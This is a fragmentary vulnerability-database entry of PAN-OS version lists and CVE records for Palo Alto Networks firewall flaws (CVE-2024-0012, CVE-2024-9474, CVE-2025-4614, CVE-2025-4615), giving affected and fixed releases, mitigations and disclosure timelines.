"PAN-OS 10.2.4-h3",
"PAN-OS 10.2.4-h2",
"PAN-OS 10.2.4-h1",
"PAN-OS 10.2.4",
"PAN-OS 10.2.3-h14",
"PAN-OS 10.2.3-h13",
"PAN-OS 10.2.3-h12",
"PAN-OS 10.2.3-h11",
"PAN-OS 10.2.3-h10",
"PAN-OS 10.2.3-h9",
"PAN-OS 10.2.3-h8",
"PAN-OS 10.2.3-h7",
"PAN-OS 10.2.3-h6",
"PAN-OS 10.2.3-h5",
"PAN-OS 10.2.3-h4",
"PAN-OS 10.2.3-h3",
"PAN-OS 10.2.3-h2",
"PAN-OS 10.2.3-h1",
"PAN-OS 10.2.3",
"PAN-OS 10.2.2-h6",
"PAN-OS 10.2.2-h5",
"PAN-OS 10.2.2-h4",
"PAN-OS 10.2.2-h3",
"PAN-OS 10.2.2-h2",
"PAN-OS 10.2.2-h1",
"PAN-OS 10.2.2",
"PAN-OS 10.2.1-h3",
"PAN-OS 10.2.1-h2",
"PAN-OS 10.2.1-h1",
"PAN-OS 10.2.1",
"PAN-OS 10.2.0-h4",
"PAN-OS 10.2.0-h3",
"PAN-OS 10.2.0-h2",
"PAN-OS 10.2.0-h1",
"PAN-OS 10.2.0",
"PAN-OS 10.1.14-h8",
"PAN-OS 10.1.14-h7",
"PAN-OS 10.1.14-h6",
"PAN-OS 10.1.14-h5",
"PAN-OS 10.1.14-h4",
"PAN-OS 10.1.14-h3",
"PAN-OS 10.1.14-h2",
"PAN-OS 10.1.14-h1",
"PAN-OS 10.1.14",
"PAN-OS 10.1.13-h5",
"PAN-OS 10.1.13-h4",
"PAN-OS 10.1.13-h3",
"PAN-OS 10.1.13-h2",
"PAN-OS 10.1.13-h1",
"PAN-OS 10.1.13",
"PAN-OS 10.1.12-h3",
"PAN-OS 10.1.12-h2",
"PAN-OS 10.1.12-h1",
"PAN-OS 10.1.12",
"PAN-OS 10.1.11-h10",
"PAN-OS 10.1.11-h9",
"PAN-OS 10.1.11-h8",
"PAN-OS 10.1.11-h7",
"PAN-OS 10.1.11-h6",
"PAN-OS 10.1.11-h5",
"PAN-OS 10.1.11-h4",
"PAN-OS 10.1.11-h3",
"PAN-OS 10.1.11-h2",
"PAN-OS 10.1.11-h1",
"PAN-OS 10.1.11",
"PAN-OS 10.1.10-h9",
"PAN-OS 10.1.10-h8",
"PAN-OS 10.1.10-h7",
"PAN-OS 10.1.10-h6",
"PAN-OS 10.1.10-h5",
"PAN-OS 10.1.10-h4",
"PAN-OS 10.1.10-h3",
"PAN-OS 10.1.10-h2",
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CVE-2024-9474 (GCVE-0-2024-9474)
Vulnerability from nvd – Published: 2024-11-18 15:48 – Updated: 2025-10-21 22:55
VLAI?
Title
PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
Summary
A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.
Cloud NGFW and Prisma Access are not impacted by this vulnerability.
Severity ?
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
|
||||||||||||
|
||||||||||||||
Date Public ?
2024-11-18 14:20
Credits
Palo Alto Networks thanks our Deep Product Security Research Team for discovering this issue internally from threat activity.
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"value": "\u003cp\u003eThis issue is fixed in PAN-OS 10.1.14-h6, PAN-OS 10.2.12-h2, PAN-OS 11.0.6-h1, PAN-OS 11.1.5-h1, PAN-OS 11.2.4-h1, and all later PAN-OS versions.\u003c/p\u003e\u003cp\u003eIn addition, in an attempt to provide the most seamless upgrade path for our customers, we are making fixes available for other TAC-preferred and commonly deployed maintenance releases.\u003c/p\u003e\u003cdiv\u003e\u003cul\u003e\u003cli\u003eAdditional PAN-OS 11.2 fixes:\u003cul\u003e\u003cli\u003e\u200b\u200b11.2.0-h1\u003c/li\u003e\u003cli\u003e11.2.1-h1\u003c/li\u003e\u003cli\u003e11.2.2-h2\u003c/li\u003e\u003cli\u003e11.2.3-h3\u003c/li\u003e\u003cli\u003e11.2.4-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 11.1 fixes:\u003cul\u003e\u003cli\u003e11.1.0-h4\u003c/li\u003e\u003cli\u003e11.1.1-h2\u003c/li\u003e\u003cli\u003e11.1.2-h15\u003c/li\u003e\u003cli\u003e11.1.3-h11\u003c/li\u003e\u003cli\u003e11.1.4-h7\u003c/li\u003e\u003cli\u003e11.1.5-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 11.0 fixes:\u003cul\u003e\u003cli\u003e11.0.0-h4\u003c/li\u003e\u003cli\u003e11.0.1-h5\u003c/li\u003e\u003cli\u003e11.0.2-h5\u003c/li\u003e\u003cli\u003e11.0.3-h13\u003c/li\u003e\u003cli\u003e11.0.4-h6\u003c/li\u003e\u003cli\u003e11.0.5-h2\u003c/li\u003e\u003cli\u003e11.0.6-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 10.2 fixes:\u003cul\u003e\u003cli\u003e10.2.0-h4\u003c/li\u003e\u003cli\u003e10.2.1-h3\u003c/li\u003e\u003cli\u003e10.2.2-h6\u003c/li\u003e\u003cli\u003e10.2.3-h14\u003c/li\u003e\u003cli\u003e10.2.4-h32\u003c/li\u003e\u003cli\u003e10.2.5-h9\u003c/li\u003e\u003cli\u003e10.2.6-h6\u003c/li\u003e\u003cli\u003e10.2.7-h18\u003c/li\u003e\u003cli\u003e10.2.8-h15\u003c/li\u003e\u003cli\u003e10.2.9-h16\u003c/li\u003e\u003cli\u003e10.2.10-h9\u003c/li\u003e\u003cli\u003e10.2.11-h6\u003c/li\u003e\u003cli\u003e10.2.12-h2\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 10.1 fixes:\u003cul\u003e\u003cli\u003e10.1.9-h14\u003c/li\u003e\u003cli\u003e10.1.10-h9\u003c/li\u003e\u003cli\u003e10.1.11-h10\u003c/li\u003e\u003cli\u003e10.1.12-h3\u003c/li\u003e\u003cli\u003e10.1.13-h5\u003c/li\u003e\u003cli\u003e10.1.14-h6\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e"
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"value": "This issue is fixed in PAN-OS 10.1.14-h6, PAN-OS 10.2.12-h2, PAN-OS 11.0.6-h1, PAN-OS 11.1.5-h1, PAN-OS 11.2.4-h1, and all later PAN-OS versions.\n\nIn addition, in an attempt to provide the most seamless upgrade path for our customers, we are making fixes available for other TAC-preferred and commonly deployed maintenance releases.\n\n * Additional PAN-OS 11.2 fixes: * \u200b\u200b11.2.0-h1\n * 11.2.1-h1\n * 11.2.2-h2\n * 11.2.3-h3\n * 11.2.4-h1\n\n\n\n * Additional PAN-OS 11.1 fixes: * 11.1.0-h4\n * 11.1.1-h2\n * 11.1.2-h15\n * 11.1.3-h11\n * 11.1.4-h7\n * 11.1.5-h1\n\n\n\n * Additional PAN-OS 11.0 fixes: * 11.0.0-h4\n * 11.0.1-h5\n * 11.0.2-h5\n * 11.0.3-h13\n * 11.0.4-h6\n * 11.0.5-h2\n * 11.0.6-h1\n\n\n\n * Additional PAN-OS 10.2 fixes: * 10.2.0-h4\n * 10.2.1-h3\n * 10.2.2-h6\n * 10.2.3-h14\n * 10.2.4-h32\n * 10.2.5-h9\n * 10.2.6-h6\n * 10.2.7-h18\n * 10.2.8-h15\n * 10.2.9-h16\n * 10.2.10-h9\n * 10.2.11-h6\n * 10.2.12-h2\n\n\n\n * Additional PAN-OS 10.1 fixes: * 10.1.9-h14\n * 10.1.10-h9\n * 10.1.11-h10\n * 10.1.12-h3\n * 10.1.13-h5\n * 10.1.14-h6"
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"title": "PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface",
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"value": "\u003cspan\u003eRecommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you haven\u2019t already, we strongly recommend that you secure access to your management interface according to our best practice deployment guidelines. Specifically, you should restrict access to the management interface to only trusted internal IP addresses to prevent external access from the internet.\u003c/span\u003e\u003cbr /\u003e\u003cp\u003e\u003cspan\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003c/span\u003e\u003c/p\u003e\u003cspan\u003e\u003cul\u003e\u003cli\u003e\u003cspan\u003ePalo Alto Networks LIVEcommunity article:\u00a0\u003c/span\u003e\u003ca target=\"_blank\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003e\u003cspan\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/span\u003e\u003c/a\u003e\u003c/li\u003e\u003cli\u003ePalo Alto Networks official and more detailed technical documentation:\u00a0\u003ca target=\"_blank\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/span\u003e"
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"value": "Recommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you haven\u2019t already, we strongly recommend that you secure access to your management interface according to our best practice deployment guidelines. Specifically, you should restrict access to the management interface to only trusted internal IP addresses to prevent external access from the internet.\nReview information about how to secure management access to your Palo Alto Networks firewalls:\n\n * Palo Alto Networks LIVEcommunity article:\u00a0 https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices"
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"datePublished": "2024-11-18T15:48:23.405Z",
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CVE-2024-0012 (GCVE-0-2024-0012)
Vulnerability from nvd – Published: 2024-11-18 15:47 – Updated: 2025-10-21 22:55
VLAI?
Title
PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)
Summary
An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474 https://security.paloaltonetworks.com/CVE-2024-9474 .
The risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software.
Cloud NGFW and Prisma Access are not impacted by this vulnerability.
Severity ?
CWE
- CWE-306 - Missing Authentication for Critical Function
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
|
||||||||||||
|
||||||||||||||
Date Public ?
2024-11-18 14:20
Credits
Palo Alto Networks thanks our Deep Product Security Research Team for discovering this issue internally from threat activity.
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"defaultStatus": "unaffected",
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"versions": [
{
"changes": [
{
"at": "11.2.4-h1",
"status": "unaffected"
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],
"lessThan": "11.2.4-h1",
"status": "affected",
"version": "11.2.0",
"versionType": "custom"
},
{
"changes": [
{
"at": "11.1.5-h1",
"status": "unaffected"
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],
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"status": "affected",
"version": "11.1.0",
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{
"changes": [
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{
"changes": [
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"status": "unaffected"
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{
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},
{
"defaultStatus": "unaffected",
"product": "Prisma Access",
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"versions": [
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"status": "unaffected",
"version": "All"
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"configurations": [
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"value": "\u003cp\u003e\u003cspan\u003eThe risk is greatest if you configure the management interface to enable access from the internet or any untrusted network either:\u003c/span\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cspan\u003eDirectly\u003cbr /\u003e\u003c/span\u003eor\u003c/li\u003e\u003cli\u003eThrough a dataplane interface that includes a management interface profile.\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cspan\u003eThe risk is greatly reduced if you make sure that only trusted internal IP addresses are allowed to access the management interface.\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cspan\u003eUse the following steps to identify your recently detected devices in our Internet scans:\u003c/span\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cspan\u003eTo find your known assets that require remediation action, visit the Assets section of Customer Support Portal at\u00a0\u003c/span\u003e\u003ca target=\"_blank\" href=\"https://support.paloaltonetworks.com/\"\u003e\u003cspan\u003ehttps://support.paloaltonetworks.com\u003c/span\u003e\u003c/a\u003e\u00a0\u003cspan\u003e(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\u003c/span\u003e\u003c/li\u003e\u003cli\u003eThe list of your known devices with an internet-facing management interface discovered in our scans are tagged with PAN-SA-2024-0015 with a last seen timestamp in UTC. If no such devices are listed, it indicates our scan did not find any devices with internet-facing management interface for your account in the last three days.\u003c/li\u003e\u003c/ol\u003e"
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"value": "The risk is greatest if you configure the management interface to enable access from the internet or any untrusted network either:\n\n * Directly\nor\n * Through a dataplane interface that includes a management interface profile.\nThe risk is greatly reduced if you make sure that only trusted internal IP addresses are allowed to access the management interface.\n\nUse the following steps to identify your recently detected devices in our Internet scans:\n\n * To find your known assets that require remediation action, visit the Assets section of Customer Support Portal at\u00a0 https://support.paloaltonetworks.com https://support.paloaltonetworks.com/ \u00a0(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\n * The list of your known devices with an internet-facing management interface discovered in our scans are tagged with PAN-SA-2024-0015 with a last seen timestamp in UTC. If no such devices are listed, it indicates our scan did not find any devices with internet-facing management interface for your account in the last three days."
}
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"credits": [
{
"lang": "en",
"type": "finder",
"value": "Palo Alto Networks thanks our Deep Product Security Research Team for discovering this issue internally from threat activity."
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"datePublic": "2024-11-18T14:20:00.000Z",
"descriptions": [
{
"lang": "en",
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"value": "\u003cp\u003eAn authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://security.paloaltonetworks.com/CVE-2024-9474\"\u003eCVE-2024-9474\u003c/a\u003e.\u003c/p\u003e\u003cp\u003eThe risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended\u0026nbsp;\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practice deployment guidelines\u003c/a\u003e.\u003c/p\u003e\u003cp\u003eThis issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software.\u003c/p\u003e\u003cp\u003eCloud NGFW and Prisma Access are not impacted by this vulnerability.\u003c/p\u003e"
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"value": "An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474 https://security.paloaltonetworks.com/CVE-2024-9474 .\n\nThe risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended\u00a0 best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\nThis issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software.\n\nCloud NGFW and Prisma Access are not impacted by this vulnerability."
}
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"exploits": [
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"value": "Palo Alto Networks observed threat activity that exploits this vulnerability against a limited number of management web interfaces that are exposed to internet traffic coming from outside the network."
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"value": "\u003cp\u003eWe strongly recommend that you secure access to your management interface following the instructions in the workarounds section below.\u003c/p\u003e\u003cp\u003e\u003cspan\u003eThis issue is fixed in PAN-OS 10.2.12-h2, PAN-OS 11.0.6-h1, PAN-OS 11.1.5-h1, PAN-OS 11.2.4-h1, and all later PAN-OS versions.\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cspan\u003eIn addition, in an attempt to provide the most seamless upgrade path for our customers, we are making fixes available for other TAC-preferred and commonly deployed maintenance releases.\u003c/span\u003e\u003c/p\u003e\u003cdiv\u003e\u003cdiv\u003e\u003cul\u003e\u003cli\u003eAdditional PAN-OS 11.2 fixes:\u003cul\u003e\u003cli\u003e\u200b\u200b11.2.0-h1\u003c/li\u003e\u003cli\u003e11.2.1-h1\u003c/li\u003e\u003cli\u003e11.2.2-h2\u003c/li\u003e\u003cli\u003e11.2.3-h3\u003c/li\u003e\u003cli\u003e11.2.4-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 11.1 fixes:\u003cul\u003e\u003cli\u003e11.1.0-h4\u003c/li\u003e\u003cli\u003e11.1.1-h2\u003c/li\u003e\u003cli\u003e11.1.2-h15\u003c/li\u003e\u003cli\u003e11.1.3-h11\u003c/li\u003e\u003cli\u003e11.1.4-h7\u003c/li\u003e\u003cli\u003e11.1.5-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 11.0 fixes:\u003cul\u003e\u003cli\u003e11.0.0-h4\u003c/li\u003e\u003cli\u003e11.0.1-h5\u003c/li\u003e\u003cli\u003e11.0.2-h5\u003c/li\u003e\u003cli\u003e11.0.3-h13\u003c/li\u003e\u003cli\u003e11.0.4-h6\u003c/li\u003e\u003cli\u003e11.0.5-h2\u003c/li\u003e\u003cli\u003e11.0.6-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 10.2 fixes:\u003cul\u003e\u003cli\u003e10.2.0-h4\u003c/li\u003e\u003cli\u003e10.2.1-h3\u003c/li\u003e\u003cli\u003e10.2.2-h6\u003c/li\u003e\u003cli\u003e10.2.3-h14\u003c/li\u003e\u003cli\u003e10.2.4-h32\u003c/li\u003e\u003cli\u003e10.2.5-h9\u003c/li\u003e\u003cli\u003e10.2.6-h6\u003c/li\u003e\u003cli\u003e10.2.7-h18\u003c/li\u003e\u003cli\u003e10.2.8-h15\u003c/li\u003e\u003cli\u003e10.2.9-h16\u003c/li\u003e\u003cli\u003e10.2.10-h9\u003c/li\u003e\u003cli\u003e10.2.11-h6\u003c/li\u003e\u003cli\u003e10.2.12-h2\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003c/div\u003e"
}
],
"value": "We strongly recommend that you secure access to your management interface following the instructions in the workarounds section below.\n\nThis issue is fixed in PAN-OS 10.2.12-h2, PAN-OS 11.0.6-h1, PAN-OS 11.1.5-h1, PAN-OS 11.2.4-h1, and all later PAN-OS versions.\n\nIn addition, in an attempt to provide the most seamless upgrade path for our customers, we are making fixes available for other TAC-preferred and commonly deployed maintenance releases.\n\n * Additional PAN-OS 11.2 fixes: * \u200b\u200b11.2.0-h1\n * 11.2.1-h1\n * 11.2.2-h2\n * 11.2.3-h3\n * 11.2.4-h1\n\n\n\n * Additional PAN-OS 11.1 fixes: * 11.1.0-h4\n * 11.1.1-h2\n * 11.1.2-h15\n * 11.1.3-h11\n * 11.1.4-h7\n * 11.1.5-h1\n\n\n\n * Additional PAN-OS 11.0 fixes: * 11.0.0-h4\n * 11.0.1-h5\n * 11.0.2-h5\n * 11.0.3-h13\n * 11.0.4-h6\n * 11.0.5-h2\n * 11.0.6-h1\n\n\n\n * Additional PAN-OS 10.2 fixes: * 10.2.0-h4\n * 10.2.1-h3\n * 10.2.2-h6\n * 10.2.3-h14\n * 10.2.4-h32\n * 10.2.5-h9\n * 10.2.6-h6\n * 10.2.7-h18\n * 10.2.8-h15\n * 10.2.9-h16\n * 10.2.10-h9\n * 10.2.11-h6\n * 10.2.12-h2"
}
],
"source": {
"advisory": "PAN-SA-2024-0015",
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2024-11-18T14:20:00.000Z",
"value": "CVE-2024-0012 assigned to this publication as the vulnerability is identified and fixed"
},
{
"lang": "en",
"time": "2024-11-15T22:00:00.000Z",
"value": "Answered a FAQ about indicators of compromise"
},
{
"lang": "en",
"time": "2024-11-14T22:18:00.000Z",
"value": "Raised the severity of PAN-SA-2024-0015 bulletin as we have observed threat activity"
},
{
"lang": "en",
"time": "2024-11-11T01:03:00.000Z",
"value": "Added instructions to find your devices with an internet-facing management interface discovered in our scans"
},
{
"lang": "en",
"time": "2024-11-08T13:00:00.000Z",
"value": "Initially published as PAN-SA-2024-0015"
}
],
"title": "PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)",
"workarounds": [
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"value": "\u003cp\u003e\u003cspan\u003eRecommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you haven\u2019t already, we strongly recommend that you secure access to your management interface according to our best practice deployment guidelines. Specifically, you should restrict access to the management interface to only trusted internal IP addresses to prevent external access from the internet.\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cspan\u003eAdditionally, if you have a Threat Prevention subscription, you can block these attacks using Threat IDs 95746, 95747, 95752, 95753, 95759, and 95763 (available in Applications and Threats content version 8915-9075 and later). For these Threat IDs to protect against attacks for this vulnerability,\u003c/span\u003e\u003c/p\u003e\u003cspan\u003e\u003cul\u003e\u003cli\u003e\u003cspan\u003eEnsure that all the listed Threat IDs are set to block mode,\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca target=\"_blank\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices#id59206398-3dab-4b2f-9b4b-7ea500d036ba\"\u003e\u003cspan\u003eRoute incoming traffic for the MGT port through a DP port\u003c/span\u003e\u003c/a\u003e\u003cspan\u003e, e.g., enabling management profile on a DP interface for management access,\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca target=\"_blank\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices#id112f7714-8995-4496-bbf9-781e63dec71c\"\u003e\u003cspan\u003eReplace the Certificate for Inbound Traffic Management\u003c/span\u003e\u003c/a\u003e\u003cspan\u003e,\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca target=\"_blank\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices#idbbd82587-17a2-42b4-9245-d3714e1e13a2\"\u003e\u003cspan\u003eDecrypt inbound traffic to the management interface so the firewall can inspect it\u003c/span\u003e\u003c/a\u003e\u003cspan\u003e, and\u003c/span\u003e\u003c/li\u003e\u003cli\u003eEnable threat prevention on the inbound traffic to management services.\u003c/li\u003e\u003c/ul\u003e\u003c/span\u003e\u003cspan\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003cbr /\u003e\u003cul\u003e\u003cli\u003e\u003cspan\u003ePalo Alto Networks LIVEcommunity article:\u00a0\u003c/span\u003e\u003ca target=\"_blank\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003e\u003cspan\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/span\u003e\u003c/a\u003e\u003c/li\u003e\u003cli\u003ePalo Alto Networks official and more detailed technical documentation:\u00a0\u003ca target=\"_blank\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003e\u003cspan\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/span\u003e\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/span\u003e"
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"value": "Recommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you haven\u2019t already, we strongly recommend that you secure access to your management interface according to our best practice deployment guidelines. Specifically, you should restrict access to the management interface to only trusted internal IP addresses to prevent external access from the internet.\n\nAdditionally, if you have a Threat Prevention subscription, you can block these attacks using Threat IDs 95746, 95747, 95752, 95753, 95759, and 95763 (available in Applications and Threats content version 8915-9075 and later). For these Threat IDs to protect against attacks for this vulnerability,\n\n * Ensure that all the listed Threat IDs are set to block mode,\n * Route incoming traffic for the MGT port through a DP port https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices#id59206398-3dab-4b2f-9b4b-7ea500d036ba , e.g., enabling management profile on a DP interface for management access,\n * Replace the Certificate for Inbound Traffic Management https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices#id112f7714-8995-4496-bbf9-781e63dec71c ,\n * Decrypt inbound traffic to the management interface so the firewall can inspect it https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices#idbbd82587-17a2-42b4-9245-d3714e1e13a2 , and\n * Enable threat prevention on the inbound traffic to management services.\n\n\nReview information about how to secure management access to your Palo Alto Networks firewalls:\n * Palo Alto Networks LIVEcommunity article:\u00a0 https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 \n * Palo Alto Networks official and more detailed technical documentation:\u00a0 https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices"
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"assignerShortName": "palo_alto",
"cveId": "CVE-2024-0012",
"datePublished": "2024-11-18T15:47:41.407Z",
"dateReserved": "2023-11-09T18:56:17.699Z",
"dateUpdated": "2025-10-21T22:55:36.241Z",
"state": "PUBLISHED"
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CVE-2025-4615 (GCVE-0-2025-4615)
Vulnerability from cvelistv5 – Published: 2025-10-09 18:28 – Updated: 2026-04-01 00:44
VLAI?
Title
PAN-OS: Improper Neutralization of Input in the Management Web Interface
Summary
An improper input neutralization vulnerability in the management web interface of the Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and execute arbitrary commands.
The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.
Cloud NGFW and Prisma® Access are not affected by this vulnerability.
Severity ?
CWE
- CWE-83 - Improper Neutralization of Script in Attributes in a Web Page
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-10-08 16:00
Credits
Visa Inc.
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"time": "2025-12-19T21:55:00.000Z",
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"cveId": "CVE-2025-4615",
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CVE-2025-4614 (GCVE-0-2025-4614)
Vulnerability from cvelistv5 – Published: 2025-10-09 18:13 – Updated: 2025-10-09 19:15
VLAI?
Title
PAN-OS: Session Token Disclosure Vulnerability
Summary
An information disclosure vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to view session tokens of users authenticated to the firewall web UI. This may allow impersonation of users whose session tokens are leaked.
The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.
Cloud NGFW and Prisma® Access are not affected by this vulnerability.
Severity ?
CWE
- CWE-497 - Exposure of Sensitive System Information to an Unauthorized Control Sphere
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-10-08 16:00
Credits
Visa Inc.
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"credits": [
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"value": "\u003cp\u003eAn information disclosure vulnerability in Palo Alto Networks PAN-OS\u00ae software enables an authenticated administrator to view session tokens of users authenticated to the firewall web UI. This may allow impersonation of users whose session tokens are leaked. \u0026nbsp;\u003c/p\u003e\u003cp\u003eThe security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.\u003c/p\u003e\u003cp\u003eCloud NGFW and Prisma\u00ae Access are not affected by this vulnerability.\u003c/p\u003e"
}
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"baseScore": 4.8,
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"providerMetadata": {
"dateUpdated": "2025-10-09T18:13:22.016Z",
"orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
"shortName": "palo_alto"
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"tags": [
